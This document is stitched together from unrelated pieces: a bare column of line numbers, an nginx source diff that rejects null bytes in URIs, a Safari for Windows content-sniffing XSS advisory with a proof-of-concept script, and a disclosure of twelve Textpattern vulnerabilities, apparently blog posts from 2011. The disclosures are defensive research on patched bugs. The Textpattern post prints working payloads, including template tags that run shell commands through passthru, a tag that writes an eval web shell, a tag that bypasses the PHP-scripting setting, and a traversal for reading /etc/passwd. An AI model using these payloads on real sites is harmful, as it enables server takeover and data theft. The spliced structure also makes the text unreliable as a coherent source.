 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
#!/usr/bin/diff
Index: src/http/ngx_http_request.h
===================================================================
--- src/http/ngx_http_request.h (revision 3527)
+++ src/http/ngx_http_request.h (revision 3528)
@@ -56,7 +56,7 @@
 #define NGX_HTTP_PARSE_INVALID_HEADER      13


-#define NGX_HTTP_ZERO_IN_URI               1
+/* unused                                  1 */
 #define NGX_HTTP_SUBREQUEST_IN_MEMORY      2
 #define NGX_HTTP_SUBREQUEST_WAITED         4
 #define NGX_HTTP_LOG_UNSAFE                8
@@ -435,9 +435,6 @@
     /* URI with "+" */
     unsigned                          plus_in_uri:1;

-    /* URI with "\0" or "%00" */
-    unsigned                          zero_in_uri:1;
-
     unsigned                          invalid_header:1;

     unsigned                          valid_location:1;
Index: src/http/ngx_http_core_module.c
===================================================================
--- src/http/ngx_http_core_module.c (revision 3527)
+++ src/http/ngx_http_core_module.c (revision 3528)
@@ -1341,7 +1341,7 @@

     /* no content handler was found */

-    if (r->uri.data[r->uri.len - 1] == '/' && !r->zero_in_uri) {
+    if (r->uri.data[r->uri.len - 1] == '/') {

         if (ngx_http_map_uri_to_path(r, &path, &root, 0) != NULL) {
             ngx_log_error(NGX_LOG_ERR, r->connection->log, 0,
@@ -2104,7 +2104,6 @@
     ngx_log_debug2(NGX_LOG_DEBUG_HTTP, c->log, 0,
                    "http subrequest \"%V?%V\"", uri, &sr->args);

-    sr->zero_in_uri = (flags & NGX_HTTP_ZERO_IN_URI) != 0;
     sr->subrequest_in_memory = (flags & NGX_HTTP_SUBREQUEST_IN_MEMORY) != 0;
     sr->waited = (flags & NGX_HTTP_SUBREQUEST_WAITED) != 0;

Index: src/http/ngx_http_special_response.c
===================================================================
--- src/http/ngx_http_special_response.c    (revision 3527)
+++ src/http/ngx_http_special_response.c    (revision 3528)
@@ -517,8 +517,6 @@

     r->err_status = overwrite;

-    r->zero_in_uri = 0;
-
     if (ngx_http_complex_value(r, &err_page->value, &uri) != NGX_OK) {
         return NGX_ERROR;
     }
Index: src/http/ngx_http_upstream.c
===================================================================
--- src/http/ngx_http_upstream.c    (revision 3527)
+++ src/http/ngx_http_upstream.c    (revision 3528)
@@ -1815,10 +1815,6 @@
             return NGX_DONE;
         }

-        if (flags & NGX_HTTP_ZERO_IN_URI) {
-            r->zero_in_uri = 1;
-        }
-
         if (r->method != NGX_HTTP_HEAD) {
             r->method = NGX_HTTP_GET;
         }
Index: src/http/ngx_http_parse.c
===================================================================
--- src/http/ngx_http_parse.c   (revision 3527)
+++ src/http/ngx_http_parse.c   (revision 3528)
@@ -438,8 +438,7 @@
                 r->plus_in_uri = 1;
                 break;
             case '\0':
-                r->zero_in_uri = 1;
-                break;
+                return NGX_HTTP_PARSE_INVALID_REQUEST;
             default:
                 state = sw_check_uri;
                 break;
@@ -496,8 +495,7 @@
                 r->plus_in_uri = 1;
                 break;
             case '\0':
-                r->zero_in_uri = 1;
-                break;
+                return NGX_HTTP_PARSE_INVALID_REQUEST;
             }
             break;

@@ -526,8 +524,7 @@
                 r->complex_uri = 1;
                 break;
             case '\0':
-                r->zero_in_uri = 1;
-                break;
+                return NGX_HTTP_PARSE_INVALID_REQUEST;
             }
             break;

@@ -1202,7 +1199,7 @@
                     ch = *p++;

                 } else if (ch == '\0') {
-                    r->zero_in_uri = 1;
+                    return NGX_HTTP_PARSE_INVALID_REQUEST;
                 }

                 state = quoted_state;
@@ -1304,8 +1301,7 @@
         }

         if (ch == '\0') {
-            *flags |= NGX_HTTP_ZERO_IN_URI;
-            continue;
+            goto unsafe;
         }

         if (ngx_path_separator(ch) && len > 2) {
@@ -1449,34 +1445,19 @@
 void
 ngx_http_split_args(ngx_http_request_t *r, ngx_str_t *uri, ngx_str_t *args)
 {
-    u_char  ch, *p, *last;
+    u_char  *p, *last;

-    p = uri->data;
+    last = uri->data + uri->len;

-    last = p + uri->len;
+    p = ngx_strlchr(uri->data, last, '?');

-    args->len = 0;
+    if (p) {
+        uri->len = p - uri->data;
+        p++;
+        args->len = last - p;
+        args->data = p;

-    while (p < last) {
-
-        ch = *p++;
-
-        if (ch == '?') {
-            args->len = last - p;
-            args->data = p;
-
-            uri->len = p - 1 - uri->data;
-
-            if (ngx_strlchr(p, last, '\0') != NULL) {
-                r->zero_in_uri = 1;
-            }
-
-            return;
-        }
-
-        if (ch == '\0') {
-            r->zero_in_uri = 1;
-            continue;
-        }
+    } else {
+        args->len = 0;
     }
 }
Index: src/http/modules/ngx_http_gzip_static_module.c
===================================================================
--- src/http/modules/ngx_http_gzip_static_module.c  (revision 3527)
+++ src/http/modules/ngx_http_gzip_static_module.c  (revision 3528)
@@ -89,10 +89,6 @@
         return NGX_DECLINED;
     }

-    if (r->zero_in_uri) {
-        return NGX_DECLINED;
-    }
-
     gzcf = ngx_http_get_module_loc_conf(r, ngx_http_gzip_static_module);

     if (!gzcf->enable) {
Index: src/http/modules/ngx_http_index_module.c
===================================================================
--- src/http/modules/ngx_http_index_module.c    (revision 3527)
+++ src/http/modules/ngx_http_index_module.c    (revision 3528)
@@ -116,10 +116,6 @@
         return NGX_DECLINED;
     }

-    if (r->zero_in_uri) {
-        return NGX_DECLINED;
-    }
-
     ilcf = ngx_http_get_module_loc_conf(r, ngx_http_index_module);
     clcf = ngx_http_get_module_loc_conf(r, ngx_http_core_module);

Index: src/http/modules/ngx_http_random_index_module.c
===================================================================
--- src/http/modules/ngx_http_random_index_module.c (revision 3527)
+++ src/http/modules/ngx_http_random_index_module.c (revision 3528)
@@ -86,10 +86,6 @@
         return NGX_DECLINED;
     }

-    if (r->zero_in_uri) {
-        return NGX_DECLINED;
-    }
-
     if (!(r->method & (NGX_HTTP_GET|NGX_HTTP_HEAD|NGX_HTTP_POST))) {
         return NGX_DECLINED;
     }
Index: src/http/modules/ngx_http_dav_module.c
===================================================================
--- src/http/modules/ngx_http_dav_module.c  (revision 3527)
+++ src/http/modules/ngx_http_dav_module.c  (revision 3528)
@@ -146,10 +146,6 @@
     ngx_int_t                 rc;
     ngx_http_dav_loc_conf_t  *dlcf;

-    if (r->zero_in_uri) {
-        return NGX_DECLINED;
-    }
-
     dlcf = ngx_http_get_module_loc_conf(r, ngx_http_dav_module);

     if (!(r->method & dlcf->methods)) {
Index: src/http/modules/ngx_http_flv_module.c
===================================================================
--- src/http/modules/ngx_http_flv_module.c  (revision 3527)
+++ src/http/modules/ngx_http_flv_module.c  (revision 3528)
@@ -80,10 +80,6 @@
         return NGX_DECLINED;
     }

-    if (r->zero_in_uri) {
-        return NGX_DECLINED;
-    }
-
     rc = ngx_http_discard_request_body(r);

     if (rc != NGX_OK) {
Index: src/http/modules/ngx_http_static_module.c
===================================================================
--- src/http/modules/ngx_http_static_module.c   (revision 3527)
+++ src/http/modules/ngx_http_static_module.c   (revision 3528)
@@ -66,10 +66,6 @@
         return NGX_DECLINED;
     }

-    if (r->zero_in_uri) {
-        return NGX_DECLINED;
-    }
-
     log = r->connection->log;

     /*
Index: src/http/modules/ngx_http_autoindex_module.c
===================================================================
--- src/http/modules/ngx_http_autoindex_module.c    (revision 3527)
+++ src/http/modules/ngx_http_autoindex_module.c    (revision 3528)
@@ -160,10 +160,6 @@
         return NGX_DECLINED;
     }

-    if (r->zero_in_uri) {
-        return NGX_DECLINED;
-    }
-
     if (!(r->method & (NGX_HTTP_GET|NGX_HTTP_HEAD))) {
         return NGX_DECLINED;
     }
Index: src/http/modules/perl/ngx_http_perl_module.c
===================================================================
--- src/http/modules/perl/ngx_http_perl_module.c    (revision 3527)
+++ src/http/modules/perl/ngx_http_perl_module.c    (revision 3528)
@@ -168,10 +168,6 @@
 static ngx_int_t
 ngx_http_perl_handler(ngx_http_request_t *r)
 {
-    if (r->zero_in_uri) {
-        return NGX_HTTP_NOT_FOUND;
-    }
-
     r->main->count++;

     ngx_http_perl_handle_request(r);
2011
08.15

Summary

Safari for Windows employed unsafe content-sniffing behavior on pages that were served up as text/plain. As a result, an attacker could cause cross-site scripting to occur in locations that would not normally be vulnerable. This issue was fixed in Safari 5.1. It has been assigned the identifier CVE-2010-1420.

How Did It Work?

When web pages were served up with a text/plain content type, Safari for Windows would determine the correct content handler by looking at their file extension. For instance, a text/plain document located at http://example.com/file.html would be parsed as HTML rather than rendered as text. In most other browsers, a text/plain content type precludes the content from ever being handled as HTML (IE being the exception).

Of course, that behavior is not very interesting by itself. Most URIs that serve up content as text/plain don’t also have HTML file extensions. However, in certain cases it’s possible to append data to the path portion of the URI without changing how the request is routed. In those cases it was possible to exploit this content-sniffing behavior by appending a filename with an HTML extension. It was also possible to cause cross-site scripting when user-controlled content was served up in this way.

The simplest example is PHP’s support for PATH_INFO. By default, most PHP installations allow arbitrary data to be appended to the path portion of the URI; the portion of the path after the file itself is stored in $_SERVER['PATH_INFO']. So, just about any PHP script that serves up content as text/plain could also be used to exploit this vulnerability.

I set up a script, located at http://sandboxing.me/poc/b82553b2869b7fa80766ec55073e998a.php, as a demonstration. The code is as follows:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<?php header('Content-type: text/plain'); ?>
<?php header('X-Content-Type-Options: nosniff'); ?>
<html>
    <head>
            <title>Test</title>
    </head>
    <body>
            <script>alert(1);</script>
    </body>
</html>

I included the X-Content-Type-Options header for completeness, since it’s used by IE to override similar insecure content-sniffing behavior. As expected, Safari for Windows ignored the header.

To use the script for testing, I simply appended a forward slash to the URL, followed by a filename. Safari used the newly provided extension to determine how the file contents were parsed. Some examples:

HTML:
http://sandboxing.me/poc/b82553b2869b7fa80766ec55073e998a.php/test.htm
http://sandboxing.me/poc/b82553b2869b7fa80766ec55073e998a.php/test.html
http://sandboxing.me/poc/b82553b2869b7fa80766ec55073e998a.php/test.shtml
SWF:
http://sandboxing.me/poc/b82553b2869b7fa80766ec55073e998a.php/test.swf
PDF:
http://sandboxing.me/poc/b82553b2869b7fa80766ec55073e998a.php/test.pdf
EXE:
http://sandboxing.me/poc/b82553b2869b7fa80766ec55073e998a.php/test.exe
XML:
http://sandboxing.me/poc/b82553b2869b7fa80766ec55073e998a.php/test.xml
http://sandboxing.me/poc/b82553b2869b7fa80766ec55073e998a.php/test.xhtml

What about OS X?

Safari for OS X did not exhibit the same behavior: in fact, it appears that similar behavior was patched in 10.4.4 (see http://www.mnot.net/blog/2006/01/11/safari_content_sniffing).

Example Vulnerability

Bug 637981, which was recently patched in Bugzilla, relies upon this content sniffing behavior. Raw user-supplied content (in the form of an attached patch file) was being served as text/plain from the main Bugzilla domain. By uploading a malicious patch file, it was possible to cause Safari (and IE) to execute arbitrary Javascript.

Conclusion

I would like to thank Apple Product Security for handling my report and keeping me in the loop as the issue was patched. I also want to acknowledge Hidetake Jo, who discovered this vulnerability independently.

2011
05.26

Summary

Back in March, I determined that the Textpattern blogging software contained a number of very serious security vulnerabilities, including a remote code execution vulnerability that affected every single version of the software ever released (since September 2004). In response to my report, the Textpattern developers released a new version of the software, 4.4.0, which contained fixes for almost all of the vulnerabilities. One outstanding vulnerability has been patched in SVN and should be a part of the next release.

What were the vulnerabilities?

I reported a total of 12 issues to the Textpattern developers:

1. Lack of CSRF Protection

Textpattern does not contain any mechanism for protecting against cross-site request forgery (CSRF) attacks. This vulnerability allows for everything from privilege elevation (via a CSRF attack on the “Add User” page) to arbitrary code execution (via use of the <txp:php> tag, a Textpattern template tag that allows for code execution).

This issue was not addressed in version 4.4.0, but the developers have subsequently added support for CSRF tokens in SVN (see r3528-r3557).

2. Arbitrary code execution for unauthenticated users via <txp:php> and form previews

textpattern/index.php contained the following code, which was meant to provide a preview of an updated Textpattern form, near the very top of the file:

1
2
3
4
5
6
<?php
if (isset($_POST['form_preview'])) {
    include txpath.'/publish.php';
    textpattern();
    exit;
}

That code was executed prior to authentication checks being run. In addition, forms are allowed (by default) to use a special template tag, <txp:php>, which executes PHP code. As a result, an unauthenticated attacker could execute arbitrary code on a server running Textpattern by submitting a modified POST request containing <txp:php> tags.

Although support for <txp:php> tags can be disabled on a per-site basis, other vulnerabilities (#3 / #4 on this list) allowed that protection to be bypassed.

This vulnerability was patched for version 4.4.0. In researching this vulnerability, I discovered that it had existed since the first version of Textpattern was released.

3. Textpattern tag system allows for code execution

Due to a design flaw in Textpattern’s tag system, it was possible to build a tag that would execute arbitrary PHP without using <txp:php>. The bad code was in the processTags function in textpattern/publish.php:

1
2
3
4
5
<?php
if (function_exists($tag))
{
    $out = $tag(splat($atts), $thing);
}

In other words, a tag like <txp:some_function a="b" c="d">some text</txp:some_function> would try to execute the PHP function some_function, passing in the attributes ($atts) as a PHP array and the inner content as a string. Textpattern template tags were just regular PHP functions that accepted at most two parameters.

But guess what? Other functions also follow this pattern: array_filter, array_walk, usort, uksort, and uasort all accept an array and a callback function as their parameters.

So, placing the following tag on a page would result in shell commands being run and the results being displayed in the response:

1
<txp:array_filter 0="whoami" 1="ls -al">passthru</txp:array_filter>

This tag would create a page, test.php, that calls eval on user input, allowing for arbitrary code execution (eval can’t be called directly since it’s a language construct, not a function).

1
<txp:array_filter 0='echo "<?php eval($_GET1); ?>" > test.php'>passthru</txp:array>

A partial fix for this vulnerability was released as part of version 4.4.0. The code now uses get_defined_functions to avoid calling the internal functions mentioned above. However, there is still no whitelist of valid functions for the Textpattern parser to call: all user-defined PHP functions are considered fair game. If the codebase contained a function that looked like the evil function defined below, for instance, sites would again be vulnerable.

1
2
3
4
5
<?php
function evil($array, $callback)
{
    return array_filter($array, $callback);
}

This vulnerability, just like #2, has existed since Textpattern was first released.

4. Attacker can bypass <txp:php> settings

Remember how I just said that any user-defined PHP function could be called as a tag, provided it accepts the right number of parameters (<= 2)? Well, a function inside of Textpattern made it possible to bypass configuration settings and reliably execute code via the <txp:php> tag.

The function was named fileDownloadFormatTime and it looked like this:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
<?php
function fileDownloadFormatTime($params)
{
    global $prefs;

    extract($params);

    if (!empty($ftime))
    {
        return !empty($format) ?
            safe_strftime($format, $ftime) : safe_strftime($prefs['archive_dateformat'], $ftime);
    }
    return '';
}

What’s so special about this function?

  1. It calls extract on $params, which is provided by the user as input. extract, by default, will overwrite (clobber) the values of variables in the current scope. Inside a function, that’s not a huge deal: however, $prefs is marked as a global variable here, which means it can be overwritten and the new value will be persisted.
  2. $prefs['allow_page_php_scripting'] and $prefs['allow_article_php_scripting'] are supposed to be boolean values that indicate whether or not <txp:php> tags are allowed in a particular context.

So, by calling fileDownloadFormatTime with an attribute named prefs, it was possible to overwrite the $prefs variable. If the variable was overwritten with the correct value (eg: 1), $prefs['allow_page_php_scripting'] and $prefs['allow_article_php_scripting'] would be enabled, allowing PHP execution in subsequent tags. An example is below:

1
2
<txp:fileDownloadFormatTime prefs="1"></txp:fileDownloadFormatTime>
<txp:php>phpinfo();</txp:php>

This issue was fixed for version 4.4.0 over the course of several different SVN revisions.

  1. r3506 changed the call to extract so it could not be used to overwrite $prefs
  2. r3495 and r3496 added calls in strategic locations to explicitly verify that $prefs is an array, as it should be.

5. File Uploader allows for arbitrary file uploads

The file uploader, which is accessible to all authenticated users except for freelancers, does not perform filtering on the extensions of uploaded files. By default, the files are publicly accessible in the files/ directory of the Textpattern install. That means a malicious user can, depending on the extension of the file they upload:

  1. Execute arbitrary PHP
  2. Execute arbitrary Javascript by uploading an HTML file
  3. Perform CSRF / XSS by uploading an SWF file

Unfortunately, this vulnerability was not fully addressed in the 4.4.0 release. r3484 added a .htaccess file to the files/ directory that would have blocked direct access. However, after a small outcry in the Textpattern forums, r3501, r3502, and r3503 renamed the .htaccess file to .htaccess-dist and added a note to the README file suggesting that people should use it. That means installs are vulnerable to this kind of attack by default. The only mitigating factor is that file uploads are restricted to non-freelance level users (they are still CSRF-able though!).

6. Image Uploader allows for SWF uploads

The image uploader, which is accessible to all authenticated users except for freelancers, does perform filtering on the extensions of uploaded files. However, it allows SWF files, which can be used to perform CSRF and XSS attacks. This issue is otherwise identical to #5.

7. Persistent XSS via Articles

HTML in articles is not subject to any sort of filters. As a result, it’s possible for a freelancer to add a malicious Javascript payload to his/her article: when another user looks at the article preview, that Javascript will be executed. Due to the lack of CSRF protection, an attacker could trick an authenticated user into creating such an article.

This issue has not been addressed in 4.4.0. The development team is currently investigating possible HTML filtering libraries (ie: htmLawed).

8. Reflected XSS in textpattern/include/txp_page.php

The following fragment of code was found in textpattern/include/txp_page.php. $name was derived from user input and was not properly sanitized.

1
2
3
<?php
$buttons = '<div
    class="edit-title">'.gTxt('you_are_editing_page').sp.strong($name).'</div>';

This vulnerability was resolved for version 4.4.0.

9. Directory Traversal via Uploaded Files

When editing uploaded files (possible for everyone except freelancers), it was possible to manually edit the ‘filename’ parameter. This parameter was vulnerable to a directory traversal attack: by using ../ to change the relative path, it was possible to access any file on the filesystem which the webserver could read. The file_download URL handler would then serve up that file without question, even to unauthenticated users. This attack made it possible to grab the contents of the Textpattern config file, /etc/passwd, etc. Due to the lack of CSRF protection, an attacker could trick an authenticated user into creating such a malicious download.

This vulnerability was resolved for version 4.4.0.

10. Passwords stored insecurely

Account passwords were stored in lower-case and hashed using the PASSWORD function for MySQL. Passwords should always be case sensitive and the MySQL PASSWORD function should not be used for a web application (see http://dev.mysql.com/doc/refman/5.1/en/encryption-functions.html#function_password).

This vulnerability was resolved for version 4.4.0 through the use of phpass.

11. $txp_user not consistently escaped in SQL

Textpattern does not make use of stored procedures and prepared statements due to the age of its codebase; instead, it uses string concatenation combined with manual escaping. There were several places in the code where $txp_user, the username of the currently logged in user, was not properly escaped.

This vulnerability was resolved for version 4.4.0.

12. GET requests modify application state

There were several locations in the code where actions were taken in the application based on GET requests (ie: banning/unbanning users, updating plugin code, etc). Ideally, GET requests should be idempotent to prevent unintended submissions that alter the application. This issue is closely tied to #1, since the lack of cross-site request forgery makes all requests, including GETs, impossible to validate.

Conclusion

Anyone who is running a Textpattern installation should immediately upgrade to 4.4.0 if they haven’t already. They should also be aware of the vulnerabilities that still exist in that version (cross-site request forgery, file uploads, persistent XSS from article previews).

I would like to thank the Textpattern development team, especially Robert Wetzlmayr, for their responses to my report.